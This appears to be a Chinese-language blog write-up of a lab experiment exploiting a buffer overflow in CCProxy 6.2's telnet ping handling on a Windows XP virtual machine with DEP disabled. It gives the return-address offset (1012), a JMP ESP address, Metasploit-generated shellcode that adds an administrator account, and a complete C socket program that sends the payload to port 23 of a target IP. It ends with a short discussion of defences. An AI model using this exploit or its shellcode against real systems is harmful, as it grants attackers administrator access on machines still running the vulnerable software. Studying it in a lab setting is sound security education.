实验内容:

分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去。

  定位RET

  寻找跳转指令地址

  构造shellcode

  定位shellcode存放位置

  编写攻击程序

实验环境:

攻击主机:

系统环境:windows 7 32bit

攻击程序开发环境:vc++ 6.0

虚拟机:VMware Workstation

目标主机:

系统环境:windows xp sp3 (关闭DEP)

溢出对象:CCProxy6.2

调试工具:CDB

其他工具:ActivePerl

patternCreate.pl

patternOffset.pl

Metasploit

实验设计:

本实验的目标主要是分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去。

主要试验流程如下:

详细过程:

(1)首先,先确定目的主机IP地址以及ccproxy telnet服务的端口。

通过查看,确定目的主机IP地址192.168.220.128,ccproxy telnet使用端口23。

(2)下面分析漏洞:CCProxy在代理Telnet协议时,可以接受Ping命令。Ping命令格式:ping hostname\r\n当hostname的长度大于或者等于1010字节时,CCProxy 6.2会发生缓冲区溢出,导致程序崩溃。

因为windows xp sp3已经有数据缓冲溢出保护机制,所以要进行这个实验需要手动关闭DEP。运行->c:\boot.ini,打开boot文件进行编辑,将指定位置修改为关闭。

我们在目的主机运行ccproxy,然后尝试使用telnet连接ccproxy,验证连通性以及环境配置。

cmd下输入命令行:telnet 192.168.220.128

ping AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

终端提示“Host not found”,说明CCProxy正确地处理了这个畸形数据,仍工作正常。

当ping AAAA……(2000个A)时,

ccproxy崩溃,提示失去了跟主机的连接,这说明缓冲区溢出,导致崩溃。

我们使用CDB调试,查看详细信息:

我们发现,缓冲区溢出时,溢出的内容会将RET原来的内容覆盖(A对应41),这样当函数返回时,RET的值传给EIP寄存器(存放下条指令地址),设想,如果我们精心构造一个字符串,将RET用JMP ESP指令地址覆盖,函数返回时就会转而执行JMP ESP 指令,这时候我们再将ESP里面放入程序代码的shellcode,这样就会执行我们自己编写的程序,这就形成漏洞攻击。

于是,我们首先需要定位RET。

(3)定位RET。我们可以构造一串完全不重复的字符串,ping之后溢出,捕获异常,查看EIP内容,因为字符串不重复,所以EIP内容一定可以对应找到唯一的字符串,这样就可以计算出EIP内容在字符串中的相对偏移量。

我们通过patternCreate.pl生成2000个完全不重复字符串。

然后将生成的字符串ping给目标主机。CDB捕获异常,查看EIP

然后通过patternOffset.pl计算出相对偏移量。

也就是说应该将要覆盖RET对应的字符串放在整个字符串第1012开始的位置。

(4)寻找JMP ESP 指令地址。这里可以选用通用地址:0x7ffa4512。然后在CDB下验证一下是否正确。

(4)构造shellcode。也就是要构造函数返回时要执行的指令。可以通过metasploit来构造,这里构造一个在目标主机添加管理员账户的shellcode:

“\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49”

“\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36”

“\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34”

“\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41”

“\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54”

“\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x48\x4e\x57”

“\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x38”

“\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48”

“\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c”

“\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e”

“\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58”

“\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x44”

“\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58”

“\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43”

“\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47”

“\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x37\x4e\x41\x4d\x4a”

“\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b”

“\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x33\x4f\x35\x41\x43”

“\x48\x4f\x42\x56\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37”

“\x42\x45\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x46\x4a\x49”

“\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x56”

“\x46\x56\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x42\x4f\x32\x43\x46”

“\x42\x52\x50\x56\x45\x46\x46\x57\x42\x42\x45\x57\x43\x37\x45\x36”

“\x44\x57\x42\x32\x50\x46\x42\x43\x42\x53\x44\x56\x42\x42\x50\x36”

“\x42\x53\x42\x43\x44\x36\x42\x42\x4f\x32\x41\x54\x46\x44\x46\x44”

“\x42\x42\x48\x32\x48\x52\x42\x52\x50\x36\x45\x56\x46\x47\x42\x52”

“\x4e\x56\x4f\x36\x43\x36\x41\x56\x4e\x56\x47\x56\x44\x57\x4f\x56”

“\x45\x47\x42\x37\x42\x42\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56”

“\x49\x46\x43\x57\x46\x57\x44\x37\x41\x56\x46\x37\x4f\x36\x44\x57”

“\x43\x47\x42\x42\x50\x46\x42\x43\x42\x33\x44\x46\x42\x42\x4f\x52”

“\x41\x44\x46\x44\x46\x44\x42\x30\x5a”

(5)下面需要定位shellcode存放位置。像定位RET一样,ping生成的字符串,CDB捕获异常。不过这里注意,ESP指向的地址处的内容才是shellcode的内容,所以我们需要根据ESP内容来获取它指向的地址里面的内容A,然后定位A在字符串里的相对偏移,就是shellcode应该放置的位置。

(6)构造exploit。按照前面计算得出的相对偏移,将JMP ESP指令和shellcode放置在正确位置。

(7)编写攻击程序。采用C语言Socket编程,实现向目标主机发送ping字符串,完成攻击。

代码如下:

[cpp] view plaincopy
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4. #pragma comment (lib,”ws2_32″)
  5. //创建管理员用户shellcode
  6. char shellcode[] =
  7. “\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49”
  8. “\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36”
  9. “\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34”
  10. “\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41”
  11. “\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54”
  12. “\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x48\x4e\x57”
  13. “\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x38”
  14. “\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48”
  15. “\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c”
  16. “\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e”
  17. “\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58”
  18. “\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x44”
  19. “\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58”
  20. “\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43”
  21. “\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47”
  22. “\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x37\x4e\x41\x4d\x4a”
  23. “\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b”
  24. “\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x33\x4f\x35\x41\x43”
  25. “\x48\x4f\x42\x56\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37”
  26. “\x42\x45\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x46\x4a\x49”
  27. “\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x56”
  28. “\x46\x56\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x42\x4f\x32\x43\x46”
  29. “\x42\x52\x50\x56\x45\x46\x46\x57\x42\x42\x45\x57\x43\x37\x45\x36”
  30. “\x44\x57\x42\x32\x50\x46\x42\x43\x42\x53\x44\x56\x42\x42\x50\x36”
  31. “\x42\x53\x42\x43\x44\x36\x42\x42\x4f\x32\x41\x54\x46\x44\x46\x44”
  32. “\x42\x42\x48\x32\x48\x52\x42\x52\x50\x36\x45\x56\x46\x47\x42\x52”
  33. “\x4e\x56\x4f\x36\x43\x36\x41\x56\x4e\x56\x47\x56\x44\x57\x4f\x56”
  34. “\x45\x47\x42\x37\x42\x42\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56”
  35. “\x49\x46\x43\x57\x46\x57\x44\x37\x41\x56\x46\x37\x4f\x36\x44\x57”
  36. “\x43\x47\x42\x42\x50\x46\x42\x43\x42\x33\x44\x46\x42\x42\x4f\x52”
  37. “\x41\x44\x46\x44\x46\x44\x42\x30\x5a”;
  38. void main()
  39. {
  40. WSADATA WSAData;
  41. char Buff[2000],Recv[2000];
  42. int nRet,conRet;
  43. struct sockaddr_in ipAddress;
  44. SOCKET sockettest;
  45. if(WSAStartup(MAKEWORD(1,1),&WSAData)!=0)
  46. {
  47. printf(“ERROR\n”);
  48. WSACleanup();
  49. exit(1);
  50. }
  51. sockettest= socket(AF_INET,SOCK_STREAM,0);
  52. ipAddress.sin_family = AF_INET;
  53. ipAddress.sin_addr.s_addr = inet_addr(“192.168.220.128”);
  54. ipAddress.sin_port = htons(23);
  55. conRet=connect(sockettest,(struct sockaddr *)&ipAddress,sizeof(ipAddress));
  56. memset(Buff, 0x90, sizeof(Buff)-1); //全部NOP填充
  57. memcpy(&Buff[0],”ping “,5); //设置ping指令
  58. memcpy(&Buff[1998],”\r\n”,2); //设置结尾的\r\n
  59. memcpy(&Buff[1017],”\x12\x45\xfa\x7f”,4); //设置JMP ESP指令地址,定位1012,加上ping为1017
  60. memcpy(&Buff[9],shellcode,sizeof(shellcode)-1); // ping5个,加之后4个NOP
  61. memset(Recv,0x90,sizeof(Recv)); //初始化缓冲区
  62. recv(sockettest,Recv,sizeof(Recv),0);//目的主机存入缓冲区
  63. nRet=send(sockettest,Buff,sizeof(Buff),0);
  64. Sleep(1000);
  65. WSACleanup();
  66. printf(“attack ok !\n”);
  67. }

(8)执行结果。

攻击执行前,系统只有一个管理员账户。

攻击之后,ccproxy崩溃,并且系统增加了一个管理员账户。

实验结论:

通过了一段时间的努力学习与实践运用,终于完成了这一次缓冲区溢出漏洞攻击实验。

在这次试验中通过ccproxy漏洞进行攻击,实现了在目标主机增加一个管理员账户。

实验体会:

通过分析漏洞,也思考了一些漏洞攻击的防范问题。整个防范措施大概有源码级保护方法、运行期保护方法、阻止攻击代码执行、加强系统保护等几种。对于源码保护,可以提高警惕,在编写程序时对于涉及缓冲区的部分进行严格的边界检查,防止溢出。也可以利用漏洞扫描工具对源码中可能存在缓冲区溢出漏洞的代码部分分析,寻找bug并解决。运行期保护主要研究如何在程序运行的过程中发现或阻止缓冲区溢出攻击。比如数组边界检查,检查数组实际长度是否超过了分配的长度,如果超过,立即进行相应的处理。阻止攻击代码执行,可以设定堆栈数据段不可执行,这样就可以避免被攻击。加强系统保护主要是保护系统信息、关闭不需要的服务、最小权限原则、使用系统的堆栈补丁、检查系统漏洞并及时为软件打上安全补丁等。

缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)相关推荐

  1. Fomo3D代码分析以及漏洞攻击演示

    Fomo3D过去的一周内赚足了噱头,一场光明正大的"庞氏"游戏疯狂吸金,在链得得此前的报道中提到"Fomo3D的开发者,是对生态有深刻理解的现实主义者.Fomo3D鼓励黑 ...

  2. 验证本地缓冲区溢出漏洞攻击

    Info:本篇主要是为了验证本地缓冲区溢出,这是理解缓冲区溢出攻击的第一步,有了这一步,才能更深刻的理解到什么是缓冲区漏洞攻击,从而对以后的学习奠定一定的基础(注意:以下请在linux环境下实验) 基 ...

  3. 怎样利用超图客户端打点_渗透测试——XSS利用工具BeEF攻击演示

    跨站脚本漏洞(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私.钓鱼欺骗.窃取密码.传播恶意代码等攻击.XSS攻击使用到的技术主要为HTML和Javasc ...

  4. 缓冲区溢出漏洞攻击原理

    转自互联网 0x00 缓冲区溢出概念 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上, 理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但 ...

  5. MS08-067远程代码执行漏洞(CVE-2008-4250) | Windows Server服务RPC请求缓冲区溢出漏洞复现

    MS08-067远程代码执行漏洞(CVE-2008-4250) | Windows Server服务RPC请求缓冲区溢出漏洞复现 文章目录 MS08-067远程代码执行漏洞(CVE-2008-4250 ...

  6. 风炫安全Web安全学习第四十节课 反序列化漏洞攻击利用演示

    风炫安全Web安全学习第四十节课 反序列化漏洞攻击利用演示 0x02 反序列化漏洞利用 反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个 ...

  7. 脏牛(Dirty COW)漏洞攻击实验(SEED-Lab:Dirty-COW Attack Lab)

    <脏牛(Dirty COW)漏洞攻击实验> 目录 <脏牛(Dirty COW)漏洞攻击实验> **一:实验目的** **二:实验步骤与结果** **漏洞原理:** **COW机 ...

  8. php 缓冲区溢出漏洞,在Linux 容器中对php-fpm缓冲区溢出漏洞的复现分析 ( CVE-2019-11043 )...

    ubuntu@vulnerable:~$ curl http://localhost Hello World ubuntu@vulnerable:~$ 存在漏洞的容器已准备就绪,为容器做个快照,以备将 ...

  9. 计算机系统实验三——buflab(缓冲区实验)

    实验题目 buflab 实验目的 通过本次实验熟悉IA-32调用约定和堆栈组织. 学习缓冲区溢出攻击原理,对实验室目录中的一个可执行文件应用一系列的缓冲区溢出攻击. 通过实验获得使用通常用于利用操作系 ...

最新文章

  1. CentOS RPM安装MySQL 5.6修改默认密码
  2. fftw_plan_dft_2d优化
  3. python输入文字、成为字典_Python 字典(Dictionary)操作详解
  4. python合并excel文件关键字_使用 Python 合并多个格式一致的 Excel 文件,Excel 表格...
  5. Idea批量修改变量名
  6. Spring 核心容器类BeanDefinitionReader
  7. 视频的播放的用例设计点
  8. 团队个人每天详细计划汇总
  9. Python+Selenium自动化学习笔记
  10. c++ 网络编程课设入门超详细教程 ---目录
  11. 国产杂牌机java_国货精品 山寨 杂牌 HiPhone 诺卡 MTK联发科 mrp
  12. DreamScene for Windows 7梦幻桌面使用教程
  13. 支持团队开发的UML建模和CASE工具MagicDraw
  14. 软件需求,概要设计,详细设计(文档)
  15. EDU教育版Office365使用教程(一):邮箱登陆及使用
  16. 关于一百天计划的设想(信任的速度读后感)
  17. O(lgn)计算斐波那契数
  18. (Java-11)简单的银行账户模拟
  19. CodeForces - 1389E E. Calendar Ambiguity(数学)
  20. linux 防火墙的配置

热门文章

  1. 微信扫描登录(获取扫描人信息)
  2. SpringBoot 配置Tomcat运行
  3. 原型共享数据 原型简单语法 原型中方法是可以相互访问 实例对象属性方法层层搜索
  4. linux敏感目录文件,Windows系统和Linux系统常见敏感信息路径
  5. python中的set和dict_Python中dict和set的用法讲解
  6. 解决 IntelliJ IDEA 中 .propertise 文件保存后中文乱码
  7. 【note】fill函数和memset函数的区别和使用
  8. 2019年我总结的前端面试题
  9. 工作章 - 小程序web-view分享 流泪爬坑记
  10. intelij idea启动之谜